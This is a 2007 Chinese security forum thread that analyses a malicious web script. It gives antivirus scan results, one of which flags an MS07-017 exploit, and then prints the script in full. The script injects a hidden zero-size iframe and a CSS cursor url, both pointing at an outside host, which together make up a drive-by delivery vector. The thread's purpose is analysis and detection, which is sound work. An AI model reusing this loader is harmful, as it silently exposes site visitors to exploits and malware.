恶意脚本

显示全部楼层 · 发表于 2007-5-15 15:22:42

A-Squared	Found nothing
AntiVir	Found TR/Click.Agent.D
ArcaVir	Found nothing
Avast	Found nothing
AVG Antivirus	Found nothing
BitDefender	Found Trojan.Exploit.MS07-017.B
ClamAV	Found nothing
Dr.Web	Found nothing
F-Prot Antivirus	Found nothing
F-Secure Anti-Virus	Found nothing
Fortinet	Found nothing
Kaspersky Anti-Virus	Found nothing
NOD32	Found nothing
Norman Virus Control	Found nothing
Panda Antivirus	Found nothing
Rising Antivirus	Found nothing
VirusBuster	Found nothing
VBA32	Found nothing

显示全部楼层 · 发表于 2007-5-15 15:24:41

这脚本里面还错别字哩

//读娶src的对象
var v = document.getElementById("advjs");
//读娶src的参数
var u_num = getUrlParameterAdv("showmatrix_num",v.getAttribute('src'));

document.write("<iframe src=\"http://w.vvcyin.com/1/"+u_num+".htm\" width=\"0\" height=\"0\" frameborder=\"0\"></iframe>");
document.writeln("<!DOCTYPE HTML PUBLIC \"-\/\/W3C\/\/DTD HTML 4.0 Transitional\/\/EN\">");
document.writeln("<HTML><HEAD>");
document.writeln("<META http-equiv=Content-Type content=\"text\/html; charset=big5\">");
document.writeln("<META content=\"MSHTML 6.00.2900.3059\" name=GENERATOR><\/HEAD>");
document.writeln("<BODY> ");
document.writeln("<DIV style=\"CURSOR: url(\'http:\/\/w.vvcyin.com\/ban.js\')\">");
document.writeln("<DIV ");
document.writeln("style=\"CURSOR: url(\'http:\/\/w.vvcyin.com\/ban.js\')\"><\/DIV><\/DIV><\/BODY><\/HTML>")

//分析src的参数函数
function getUrlParameterAdv(asName,lsURL){

loU = lsURL.split("?");
if (loU.length>1){

  var loallPm = loU[1].split("&");

  for (var i=0; i<loallPm.length; i++){
var loPm = loallPm.split("=");
if (loPm[0]==asName){
if (loPm.length>1){
   return loPm[1];
}else{
   return "";
}
}
  }
}
return null;
}

显示全部楼层 · 发表于 2007-5-15 15:24:54

光标病毒而已

显示全部楼层 · 发表于 2007-5-15 15:31:14

这个上报过卡巴，卡巴回复没有问题

显示全部楼层 · 发表于 2007-5-15 15:33:12

这种东西上报给卡巴等也不会加入病毒库

恶意脚本

本帖子中包含更多资源